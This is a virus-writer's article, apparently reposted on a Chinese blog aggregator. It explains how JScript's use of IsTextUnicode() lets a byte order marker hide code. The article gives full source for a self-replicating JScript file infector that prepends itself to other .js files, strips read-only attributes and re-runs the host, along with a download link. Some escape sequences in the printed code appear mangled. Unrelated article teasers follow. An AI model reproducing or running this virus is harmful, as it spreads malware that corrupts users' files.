BOMbing The System

roy g biv
February 2011

[Back to index] [Comments (0)]

  • What is a BOM?
  • Why should we care?
  • Great, can we do that?
  • Okay, let's do it!
  • Unicode in files
  • Greets to friendly people (A-Z)

What is a BOM?

It's not the thing that explodes. That's a BOMB. Heh. BOM is Byte Order Marker. Some Unicode files use the Byte Order Marker to say that they are Unicode, and to say the order of the bytes (little-endian or big-endian). I say "some Unicode files" because there are exceptions, and one of those exceptions is very interesting: VBScript and JScript. Yes, Microsoft scripting technologies do not care about BOM is present or not (delete BOM and see for yourself!). They detect Unicode format using a special API called IsTextUnicode().

Why should we care?

The special thing about the IsTextUnicode() API is that it can only guess if a file is Unicode format or ANSI format. It cannot say for sure, so if we can put a BOM in the front of the file but force the API to return ANSI format, then we can put lots of Unicode in the file to fool people and some tools.

Great, can we do that?

Of course :) but only for JScript. :(

The IsTextUnicode() API takes three parameters: lpBuffer, cb, lpi. lpBuffer is a pointer to the buffer to examine, cb is the size of the buffer, and lpi is a pointer to a variable that contains flags to test on input, and it also receives the result on output. The API examines up to 256 bytes of the file, and then performs the tests that are requested. Microsoft scripting engines call the API with lots of flags to test, but only one is interesting for us: IS_TEXT_UNICODE_ILLEGAL_CHARS. The engines also ignore the return value and check only if IS_TEXT_UNICODE_ILLEGAL_CHARS is set.

If we put an illegal Unicode character in the first 256 bytes of the file, then the engines will think that the file is in ANSI format, even if there is a BOM in the front of the file. Meanwhile, everyone else will still think that the file is in Unicode format.

The characters that are considered to be illegal are 0x0a0d, 0xfeff, 0xffff (only in little-endian format)... and 0x0000. Who remembers my "Pretext" virus from 2002? I used there a technique that I call "tar-script". Microsoft's scripting engines calculate the length of a script by using strlen() function. This means that when a 0 is found, no more file is examined, so if our script ends with a 0 then we can append anything to it and no errors will happen. In this case, we use double-zero to make illegal Unicode character, and still work for ANSI case.

In ANSI mode, BOM can be used for variable name in JScript files. Of course, 256 bytes is not enough for the virus, so the host must be made into "sandwich" where virus code is at start and end, and host code is in the middle.

Okay, let's do it!

Except that it doesn't work. Since the JScript engine is not intended to support something like this, I should not call it a bug. When I tried to write the host code to disk in order to run it, a section of the file was all zeroes. The number of zeroes there depended on the size of the host code. If the code was larger then more zeroes, if smaller then fewer zeroes. The host could not be run when like that. Also, if the host code was large enough, the sandwich code did not run either. So I had to think of another way. It was very simple solution after all. I just had to make the file size odd so that it could not possibly be Unicode format. The simplest way to do that is to make the virus code even and append a single character after the host. The virus code size must be even so that the host code is visible.

Unicode in files

It is interesting that I could not find a way to force the scripting engines to write Unicode strings. They always seem to call WideCharToMultiByte() before writing, because all strings are Unicode format internally. If I read from a file, the engines always seem to call MultiByteToWideChar(), no matter what is the format of the data. If the data were Unicode already, then they become "double-Unicode". It's very weird, so I had to convert to Unicode on my own.

Let's see the code.

<BOM>="BOMbastic - roy g biv 01/02/11"
a=new ActiveXObject("scripting.filesystemobject")
try
{
c=a.opentextfile(b=WScript.scriptfullname)    //open host
d=c.read(750)                                 //read virus code.  750 is size of virus with no comments or spaces
//if you change the size of code, then you must change this value
e=a.getfile(b)                                //get our file object
f=c.readall()                                 //read rest of host file
c=e.attributes                                //save attributes
e.attributes=0                                //remove any read-only attribute
g=a.createtextfile(b)                         //make new host
for(h=0;h<f.length-1;h+=2)
g.write(f.substr(h,1))                      //convert Unicode to ANSI and write host
g.close()                                     //close host to allow run later
e.attributes=c                                //restore attributes
}
catch(z)
{
}
for(c=new Enumerator(a.getfolder(".").files);!c.atEnd();c.moveNext())
//demo version, current directory only
{
e=c.item()
if(b!=e&&a.getextensionname(e).toLowerCase()=="js")
try
{
f=a.opentextfile(e)                       //open potential victim
g=f.read(1)                               //read first character, keep for later
if(g!="/xff")                             //check for BOM (used as infection marker)
try
{
h=g+f.readall()                       //read entire file
i=e.attributes                        //save attributes
e.attributes=0                        //remove any read-only attribute
j=a.createtextfile(e)                 //open file for writing
j.write(d)                            //prepend to file
for(k=0;k<h.length;++k)
j.write(h.substr(k,1)+"/0")         //convert ANSI to Unicode and write host
j.write("r")
j.close()                             //close file (write mode)
e.attributes=i                        //restore attributes
}
catch(z)
{
}
f.close()                                 //close file (read mode)
}
catch(z)
{
}
}
new ActiveXObject("wscript.shell").exec("wscript "+b)
//run host
<0 here>

Doenload the BOMBAST.js

Greets to friendly people (A-Z)

Active - Benny - herm1t - hh86 - izee - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead

?

?

摘自:http://vx.netlux.org/lib/vrg07.html

?

18:28:12

2011-03-05

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/374953.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/374953.shtml
英文地址,請注明出處:http://en.pswp.cn/news/374953.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

鳥哥的linux私房菜學習筆記 ---第7章-2

1,文件內容查閱的命令: cat ,tac nl,more, less,head,tail ,od 文件的查閱參數,顯示行號如何顯示行號 nl 中的所有參數都是關于如何顯示行號的 這里面less的功能更多,更靈活 :空格 下一頁 pageup上一頁 pagedown 下一頁 /string 字符串查詢 ?string 反向字符串查詢 man的命…

HDU - 4497 GCD and LCM

題意&#xff1a;給出三個數的gcd,lcm&#xff0c;求這三個數的全部的可能 思路 &#xff1a;設x,y,z的gcd為d&#xff0c;那么設xd*a&#xff0c;yd*b&#xff0c;zd*c。a&#xff0c;b。c肯定是互質的。那么lcmd*a*b*c,所以我們能夠得到a*b*clcm/gcdans,將ans分解因數后&…

Java Lambda語法替代

關于lambda-dev郵件列表的討論已經開始解決lambdas /函數文字的Java語言語法應該是什么樣的問題。 讓我們看一個稍微平凡的例子&#xff0c;然后嘗試弄清楚問題。 Perl的人有一個很好的例子&#xff0c;說明以某種功能性的方式使用函數引用–他們稱其為Schwartzian變換&#xf…

淺析SMC技術

今天讓我們來看Win32ASM里面的高級一點的技術——SMC&#xff08;當當當當……&#xff09;&#xff01;&#xff01;&#xff01;SMC是什么意思&#xff1f;它的英文名叫“Self Modifying Code”&#xff0c;顧名思義&#xff0c;就是“代碼自修改”&#xff08;&#xff1f;&…

JAVA基礎--程序是順序執行的

class Testa {public static void main(String[] args) {String aa"aaa";String bb"bbb"aa;aa"cccc";System.out.println(bb);} } 輸出的是 “bbbaaa class Testa {public static void main(String[] args) {String aa"aaa";String …

Spring MVC攔截器示例

我以為是時候看看Spring的MVC攔截器機制了&#xff0c;這種機制已經存在了很多年&#xff0c;并且是一個非常有用的工具。 Spring Interceptor會按照提示進行操作&#xff1a;在傳入的HTTP請求到達您的Spring MVC控制器類之前對其進行攔截&#xff0c;或者相反&#xff0c;在其…

Android 調用系統的分享[完美實現同一時候分享圖片和文字]

android 系統的分享功能 private void share(String content, Uri uri){Intent shareIntent new Intent(Intent.ACTION_SEND); if(uri!null){//uri 是圖片的地址shareIntent.putExtra(Intent.EXTRA_STREAM, uri);shareIntent.setType("image/*"); //當用戶選擇短信時…

團隊行為守則—如果你們由我來領導

&#xfeff;&#xfeff;如果你是在我領導的團隊里&#xff0c;有幾個額外的事情我要告訴你。我深信這些行為守則是一個高效團隊的潤滑劑&#xff0c;我并不只是要求別人這樣做&#xff0c;我自己也嚴格恪守。 只有三樣事&#xff1a; 問&#xff1a;如果你對任務不清楚&#…

做短,但做對!

編寫簡潔&#xff0c;優雅&#xff0c;清晰的代碼一直是開發人員的艱巨任務。 您的同事不僅會感謝您&#xff0c;而且您會驚訝地發現&#xff0c;不斷期待著重構解決方案以更少的代碼完成更多&#xff08;或至少相同&#xff09;的工作是多么令人興奮。 曾經有人說好的程序員是…

math

莫比烏斯反演&#xff1a; $F(n) \sum\limits_{d|n} {f(d)} \Leftrightarrow \sum\limits_{d|n} {\mu (d)F(\frac{n}{d})} $ 其中 ${\mu (d)}$為莫比烏斯函數: 若$d$等于0 , 則${\mu (d)}$1 若$d {p_1}{p_2}{p_3}...{p_k}$ , ${p_i}$為互異質數&#xff0c;則${\mu (d)}$${( …

(筆試題)二進制1的個數相同的距離最小數

題目&#xff1a; 輸入&#xff1a;整數A輸出&#xff1a;整數B條件&#xff1a;A和B的二進制1的個數相同&#xff0c;且A和B之間的距離|A-B|最小。思路&#xff1a; 題目沒有說明整數類型&#xff0c;這里認為是帶符號的整數&#xff0c;即區分正負數。 根據題意&#xff0c;A…

Java Swing –日期選擇器對話框

房子里有Swing開發人員嗎&#xff1f; 對于使用Swing的用戶來說&#xff0c;這是一個GUI組件&#xff0c;可能會對您的UI編碼工作有所幫助。 我們的JCG合作伙伴之一提供了日期選擇器小部件。 一探究竟&#xff1a; Java Swing –日期選擇器對話框以選擇日期 翻譯自: https://…

Casperjs中fill提交表單遇到的問題

1.if you access internet with proxy please add --ignore-ssl-errorstrue --ssl-protocolany 2.casper.then* and casper.wait* 都是異步執行的 他們的調用&#xff0c;都是按堆棧中的順序來執行&#xff1b;也就是說&#xff0c;其他同步執行的函數&#xff0c;…

Xuggler視頻處理簡介

注意&#xff1a;這是我們的“ Xuggler開發教程 ”系列的一部分。 隨著互聯網上視頻的爆炸式增長&#xff0c;開發人員經常需要在其應用程序中操縱視頻內容。 Xuggler是Java開發人員的免費開放源代碼庫&#xff0c;可用于實時解壓縮&#xff0c;處理和壓縮錄制的視頻或實時視頻…

軟件測試中條件覆蓋,路徑覆蓋,語句覆蓋,分支覆蓋的區別

轉&#xff1a;軟件測試中條件覆蓋&#xff0c;路徑覆蓋&#xff0c;語句覆蓋&#xff0c;分支覆蓋的區別 舉個例子吧 if A and B then Action1 if C or D then Action2 語句覆蓋最弱&#xff0c;只需要讓程序中的語句都執行一遍即可 …

Spring_講解

http://s&#xff0c;i&#xff0c;s&#xff0c;h&#xff0c;u&#xff0c;o&#xff0c;k.com/forum/blogPost/list/6174.html轉載于:https://www.cnblogs.com/gisblogs/p/4579162.html

使用Spring AspectJ和Maven進行面向方面的編程

Spring框架附帶AOP支持。 實際上&#xff0c;如Spring參考文檔中所述 &#xff0c; “ Spring的關鍵組件之一是AOP框架。 盡管Spring IoC容器不依賴于AOP&#xff0c;這意味著您不需要使用AOP&#xff0c;但AOP是對Spring IoC的補充&#xff0c;以提供功能強大的中間件解決方案…

hadoop5--mapreduce設計模式

運行結果附圖 本節課程主要內容為學習MapReduc設計模式&#xff0c;并編寫java程序對日志文件進行處理。 課本上介紹的MapReduce的設計模式主要包含:計數(Counting),分類(Classification),過濾處理(Filtering),排序(Sorting),去重計數(Distinct Counting),相關計數(Cross-Corre…

ES5中新增的Array方法詳細說明

http://www.zhangxinxu.com/wordpress/2013/04/es5%E6%96%B0%E5%A2%9E%E6%95%B0%E7%BB%84%E6%96%B9%E6%B3%95/轉載于:https://www.cnblogs.com/lmw425317/p/5339539.html

jqGrid,REST,AJAX和Spring MVC集成

兩年多以前&#xff0c;我寫了一篇關于兩個如何在Struts2中實現優雅的CRUD的文章。 實際上&#xff0c;我必須就該主題寫兩篇文章&#xff0c;因為該主題如此廣泛。 今天&#xff0c;我采用了一套更為流行的&#xff0c;完善的框架和庫&#xff0c;采用了更為輕量級的現代方法。…